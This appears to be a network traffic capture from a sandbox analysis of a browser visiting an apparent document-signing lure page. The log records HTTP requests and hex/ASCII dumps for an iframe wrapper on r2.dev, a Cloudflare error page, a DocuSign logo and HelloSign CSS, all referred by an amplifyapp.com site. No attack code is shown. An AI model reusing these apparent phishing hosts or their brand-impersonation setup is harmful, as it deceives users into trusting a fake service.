_0x54099d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49749	162.159.140.237	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:57 UTC	746	OUT	GET /iframe-wrapper.html HTTP/1.1 Host: pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:58 UTC	281	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:07:58 GMT Content-Type: text/html Content-Length: 730 Connection: close Accept-Ranges: bytes ETag: "bb84d1999249046d42354f1eb71eb8d9" Last-Modified: Thu, 09 Jan 2025 23:21:40 GMT Server: cloudflare CF-RAY: 9025bf9bc9dc0f83-EWR
2025-01-15 12:07:58 UTC	730	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 49 6d 61 67 65 20 57 72 61 70 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Image Wrapper</title> <style> body { margin: 0; display: flex;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49750	162.159.140.237	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:57 UTC	648	OUT	GET /icons8-loading%20(1).gif HTTP/1.1 Host: pub-18adec023eb44c5da5725749a35761dd.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:58 UTC	229	IN	HTTP/1.1 403 Forbidden Date: Wed, 15 Jan 2025 12:07:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 9025bf9bedf243e0-EWR
2025-01-15 12:07:58 UTC	1140	IN	Data Raw: 66 66 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 Data Ascii: fff<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if g
2025-01-15 12:07:58 UTC	1369	IN	Data Raw: 69 70 74 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 61 6c 65 72 74 20 63 66 2d 61 6c 65 72 74 2d 65 72 72 6f 72 20 63 66 2d 63 6f 6f 6b 69 65 2d 65 72 72 6f 72 22 20 69 64 3d 22 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 22 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 65 6e 61 62 6c 65 5f 63 6f 6f 6b 69 65 73 22 3e 50 6c 65 61 73 65 20 65 6e 61 62 6c 65 20 63 6f 6f 6b 69 65 73 2e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 22 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 2d 77 Data Ascii: ipt>...<![endif]--></head><body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-w
2025-01-15 12:07:58 UTC	1369	IN	Data Raw: 20 20 20 3c 64 69 76 20 69 64 3d 22 74 73 2d 62 6c 6f 63 6b 73 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 63 66 2d 77 72 61 70 70 65 72 20 77 2d 32 34 30 20 6c 67 3a 77 2d 66 75 6c 6c 20 70 79 2d 31 30 20 73 6d 3a 70 79 2d 34 20 73 6d 3a 70 78 2d 38 20 6d 78 2d 61 75 74 6f 20 74 65 78 74 2d 63 65 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d Data Ascii: <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class=
2025-01-15 12:07:58 UTC	224	IN	Data Raw: 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 64 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 20 2d 2d 3e 0a 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 77 72 61 70 70 65 72 20 2d 2d 3e 0a 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: tListener("DOMContentLoaded",d)})();</script></div>... /.error-footer --> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>
2025-01-15 12:07:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	13.33.187.102	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:58 UTC	707	OUT	GET /3fcisxc3a6xz/docusign_logo_black_text_on_white_0.png/90872cd475f92acafc7c490c93976e40/ds-logo-on-white.png HTTP/1.1 Host: images.ctfassets.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:58 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 11460 Connection: close Date: Wed, 15 Jan 2025 08:11:09 GMT Last-Modified: Mon, 10 Jun 2024 21:10:48 GMT ETag: "a74f925f8c71704166ffa3433e9b96d5" Cache-Control: max-age=31536000 Server: Contentful Images API Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront Via: 1.1 c8faaa7d637dd73af72e1355a476ffc2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: pxu0JaxjN60mm6dtX65UDAr3cCChK9Cak57dRsTMNHeYuvx_lGqgxg== Age: 14210
2025-01-15 12:07:58 UTC	11460	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 53 00 00 01 87 08 06 00 00 00 7c b3 1d 0f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 2c 59 49 44 41 54 78 01 ed dd 3f ac 5d c7 7d 27 f0 51 60 17 2b 03 6b aa b0 5a 92 59 60 1b 05 10 d5 38 5b 85 62 17 20 09 48 35 76 49 31 75 00 8a 4d 02 6c 61 92 ee 12 04 20 09 18 70 b1 08 28 36 09 e2 86 e4 22 ed 82 62 1a 23 49 41 09 1b 63 bb 50 5a 6c b1 31 10 50 2a ac 2d 52 78 f9 bd ca 38 4f f4 e3 e3 9b 7b e6 fc 7d 9f 0f f0 fc 28 99 7a f7 be 39 73 ce 3d f3 3d bf 99 79 ed 97 cf 15 00 00 00 00 8e e5 37 0a 00 00 00 00 c7 26 4c 01 00 00 00 68 20 4c 01 00 00 00 68 20 4c 01 00 00 00 68 20 4c 01 00 00 00 68 20 4c Data Ascii: PNGIHDRS\|pHYssRGBgAMAa,YIDATx?]}'Q`+kZY`8[b H5vI1uMla p(6"b#IAcPZl1P*-Rx8O{}(z9s==y7&Lh Lh Lh Lh L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	3.161.82.101	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:07:58 UTC	576	OUT	GET /5be974e/build/signer.css HTTP/1.1 Host: cdn.hellosign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://archive1.diqx8fescpsb0.amplifyapp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:07:58 UTC	554	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 1008617 Connection: close Date: Wed, 15 Jan 2025 12:07:59 GMT Last-Modified: Wed, 08 Jan 2025 07:36:16 GMT ETag: "b8843b5201e924093de6adbc9030bead" x-amz-server-side-encryption: AES256 x-amz-version-id: xPy3iaIzfH7jJUNjG6bxxeSHjjBHkell Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 9c8021538470ab47dffa34921d0b4aca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: gPKAXFz1PcyHaNJU1yav-PmMgpIv9CJwSDN0mjj3PMCs68rIs5R2iQ== Vary: Origin
2025-01-15 12:07:58 UTC	8949	IN	Data Raw: 2f 2a 21 20 43 6f 6d 6d 69 74 20 48 61 73 68 3a 20 35 62 65 39 37 34 65 39 62 35 20 2a 2f 2e 72 6f 77 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 37 31 2e 32 35 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 72 6f 77 3a 61 66 74 65 72 2c 2e 72 6f 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 72 6f 77 2e 63 6f 6c 6c 61 70 73 65 3e 2e 63 6f 6c 75 6d 6e 2c 2e 72 6f 77 2e 63 6f 6c 6c 61 70 73 65 3e 2e 63 6f 6c 75 6d 6e 73 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 2e 72 6f 77 2e 63 6f 6c 6c 61 70 73 65 20 2e 72 6f 77 7b 6d 61 Data Ascii: /! Commit Hash: 5be974e9b5 /.row{margin:0 auto;max-width:71.25rem;width:100%;*zoom:1}.row:after,.row:before{content:" ";display:table}.row:after{clear:both}.row.collapse>.column,.row.collapse>.columns{padding-left:0;padding-right:0}.row.collapse .row{ma
2025-01-15 12:07:58 UTC	7978	IN	Data Raw: 6c 65 66 74 3a 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 72 69 67 68 74 3a 35 30 25 7d 2e 6c 61 72 67 65 2d 70 75 73 68 2d 37 7b 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 33 33 33 33 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 6c 61 72 67 65 2d 70 75 6c 6c 2d 37 7b 6c 65 66 74 3a 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 72 69 67 68 74 3a 35 38 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 6c 61 72 67 65 2d 70 75 73 68 2d 38 7b 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 36 36 36 36 37 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 6c 61 72 67 65 2d 70 75 6c 6c 2d 38 7b 6c 65 66 74 3a 61 75 74 6f 3b 70 6f 73 69 Data Ascii: left:auto;position:relative;right:50%}.large-push-7{left:58.3333333333%;position:relative;right:auto}.large-pull-7{left:auto;position:relative;right:58.3333333333%}.large-push-8{left:66.6666666667%;position:relative;right:auto}.large-pull-8{left:auto;posi
2025-01-15 12:07:58 UTC	8949	IN	Data Raw: 64 65 2d 66 6f 72 2d 78 6c 61 72 67 65 2c 74 61 62 6c 65 2e 68 69 64 65 2d 66 6f 72 2d 78 6c 61 72 67 65 2d 6f 6e 6c 79 2c 74 61 62 6c 65 2e 68 69 64 65 2d 66 6f 72 2d 78 6c 61 72 67 65 2d 75 70 2c 74 61 62 6c 65 2e 68 69 64 65 2d 66 6f 72 2d 78 78 6c 61 72 67 65 2c 74 61 62 6c 65 2e 68 69 64 65 2d 66 6f 72 2d 78 78 6c 61 72 67 65 2d 6f 6e 6c 79 2c 74 61 62 6c 65 2e 68 69 64 65 2d 66 6f 72 2d 78 78 6c 61 72 67 65 2d 75 70 2c 74 61 62 6c 65 2e 73 68 6f 77 2d 66 6f 72 2d 6c 61 72 67 65 2d 64 6f 77 6e 2c 74 61 62 6c 65 2e 73 68 6f 77 2d 66 6f 72 2d 6d 65 64 69 75 6d 2c 74 61 62 6c 65 2e 73 68 6f 77 2d 66 6f 72 2d 6d 65 64 69 75 6d 2d 64 6f 77 6e 2c 74 61 62 6c 65 2e 73 68 6f 77 2d 66 6f 72 2d 6d 65 64 69 75 6d 2d 6f 6e 6c 79 2c 74 61 62 6c 65 2e 73 68 6f 77 Data Ascii: de-for-xlarge,table.hide-for-xlarge-only,table.hide-for-xlarge-up,table.hide-for-xxlarge,table.hide-for-xxlarge-only,table.hide-for-xxlarge-up,table.show-for-large-down,table.show-for-medium,table.show-for-medium-down,table.show-for-medium-only,table.show
2025-01-15 12:07:59 UTC	7435	IN	Data Raw: 75 70 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 6d 65 64 69 75 6d 2d 75 70 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 73 6d 61 6c 6c 2d 75 70 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 78 6c 61 72 67 65 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 78 6c 61 72 67 65 2d 64 6f 77 6e 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 78 6c 61 72 67 65 2d 6f 6e 6c 79 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 78 6c 61 72 67 65 2d 75 70 2c 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 78 78 6c 61 72 67 65 2d 64 6f 77 6e 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 72 6f 77 2d 67 72 6f 75 70 21 69 6d 70 6f 72 74 61 6e 74 7d 74 72 2e 68 69 64 65 2d 66 6f 72 2d 6c 61 72 67 65 2c 74 72 2e 68 69 64 65 2d 66 6f 72 2d 6c 61 72 67 65 2d 64 6f 77 6e Data Ascii: up,tbody.show-for-medium-up,tbody.show-for-small-up,tbody.show-for-xlarge,tbody.show-for-xlarge-down,tbody.show-for-xlarge-only,tbody.show-for-xlarge-up,tbody.show-for-xxlarge-down{display:table-row-group!important}tr.hide-for-large,tr.hide-for-large-down
2025-01-15 12:07:59 UTC	8949	IN	Data Raw: 61 64 2e 68 69 64 65 2d 66 6f 72 2d 74 6f 75 63 68 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 68 65 61 64 65 72 2d 67 72 6f 75 70 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 6f 75 63 68 20 74 62 6f 64 79 2e 73 68 6f 77 2d 66 6f 72 2d 74 6f 75 63 68 2c 74 62 6f 64 79 2e 68 69 64 65 2d 66 6f 72 2d 74 6f 75 63 68 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 72 6f 77 2d 67 72 6f 75 70 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 6f 75 63 68 20 74 72 2e 73 68 6f 77 2d 66 6f 72 2d 74 6f 75 63 68 2c 74 72 2e 68 69 64 65 2d 66 6f 72 2d 74 6f 75 63 68 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 6f 75 63 68 20 74 64 2e 73 68 6f 77 2d 66 6f 72 2d 74 6f 75 63 68 2c 2e 74 6f 75 63 68 20 74 68 2e 73 68 6f 77 2d 66 6f 72 2d 74 6f Data Ascii: ad.hide-for-touch{display:table-header-group!important}.touch tbody.show-for-touch,tbody.hide-for-touch{display:table-row-group!important}.touch tr.show-for-touch,tr.hide-for-touch{display:table-row!important}.touch td.show-for-touch,.touch th.show-for-to
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 6e 74 68 2d 6f 66 2d 74 79 70 65 28 38 6e 2b 31 29 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 73 6d 61 6c 6c 2d 62 6c 6f 63 6b 2d 67 72 69 64 2d 39 3e 6c 69 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 31 2e 31 31 31 31 31 31 31 31 31 31 25 7d 2e 73 6d 61 6c 6c 2d 62 6c 6f 63 6b 2d 67 72 69 64 2d 39 3e 6c 69 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 6e 29 7b 63 6c 65 61 72 3a 6e 6f 6e 65 7d 2e 73 6d 61 6c 6c 2d 62 6c 6f 63 6b 2d 67 72 69 64 2d 39 3e 6c 69 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 39 6e 2b 31 29 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 73 6d 61 6c 6c 2d 62 6c 6f 63 6b 2d 67 72 69 64 2d 31 30 3e 6c 69 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 25 7d 2e 73 6d 61 6c 6c 2d 62 6c 6f 63 6b 2d 67 72 Data Ascii: nth-of-type(8n+1){clear:both}.small-block-grid-9>li{list-style:none;width:11.1111111111%}.small-block-grid-9>li:nth-of-type(n){clear:none}.small-block-grid-9>li:nth-of-type(9n+1){clear:both}.small-block-grid-10>li{list-style:none;width:10%}.small-block-gr
2025-01-15 12:07:59 UTC	10507	IN	Data Raw: 65 72 2d 73 70 61 63 69 6e 67 3a 2e 30 35 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 68 34 2e 62 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 68 34 2e 77 68 69 74 65 7b 63 6f 6c 6f 72 3a 23 66 37 66 38 66 39 7d 68 34 20 73 70 61 6e 2e 69 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 30 65 6d 29 7b 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 7d 68 34 2e 64 6f 77 6e 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 68 35 7b 63 6f 6c 6f 72 3a 23 31 61 31 61 31 61 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2c 73 Data Ascii: er-spacing:.05em;line-height:1.3em;margin-bottom:20px}h4.b{font-weight:500}h4.white{color:#f7f8f9}h4 span.i{font-style:italic}@media only screen and (max-width:40em){h4{font-size:20px}}h4.downsize{font-size:18px}h5{color:#1a1a1a;font-family:proxima-nova,s
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 30 70 78 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 76 2d 35 30 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 30 70 78 7d 2e 6c 2d 70 61 64 64 69 6e 67 2d 62 2d 35 30 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 7d 2e 6c 2d 70 61 64 64 69 6e 67 2d 74 2d 35 30 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 70 78 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 74 2d 35 30 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 30 70 78 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 62 2d 35 30 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 7d 2e 6c 2d 70 61 64 64 69 6e 67 2d 76 2d 35 35 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 35 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 35 70 78 7d 2e 6c 2d 6d 61 72 67 69 6e 2d 76 2d 35 35 Data Ascii: 0px}.l-margin-v-50{margin-bottom:50px;margin-top:50px}.l-padding-b-50{padding-bottom:50px}.l-padding-t-50{padding-top:50px}.l-margin-t-50{margin-top:50px}.l-margin-b-50{margin-bottom:50px}.l-padding-v-55{padding-bottom:55px;padding-top:55px}.l-margin-v-55
2025-01-15 12:07:59 UTC	16384	IN	Data Raw: 2d 68 65 61 64 65 72 2c 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 70 2e 6c 2d 6d 61 72 67 69 6e 2d 62 2d 31 30 2c 2e 6d 2d 73 69 67 6e 2d 6d 6f 62 69 6c 65 20 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 68 35 2e 6c 2d 6d 61 72 67 69 6e 2d 62 2d 31 30 2e 6d 2d 66 65 61 74 75 72 65 2d 67 72 69 64 2d 2d 68 65 61 64 65 72 2c 2e 6d 2d 73 69 67 6e 2d 6d 6f 62 69 6c 65 20 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 68 35 2e 6c 2d 6d 61 72 67 69 6e 2d 62 2d 31 30 2e 6d 2d 66 65 61 74 75 72 65 2d 67 72 69 64 2d 2d 73 75 62 2d 68 65 61 64 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 2e 66 6c 65 78 2d 76 69 64 65 6f 2e 6c 2d 70 61 64 64 69 6e 67 2d 76 2d 32 30 2c 2e 6c 2d 61 70 69 2d 64 6f 63 73 20 2e 6d 2d 73 69 67 6e 2d 6d 6f 62 Data Ascii: -header,.l-api-docs p.l-margin-b-10,.m-sign-mobile .l-api-docs h5.l-margin-b-10.m-feature-grid--header,.m-sign-mobile .l-api-docs h5.l-margin-b-10.m-feature-grid--sub-header{margin-bottom:10px}.l-api-docs .flex-video.l-padding-v-20,.l-api-docs .m-sign-mob
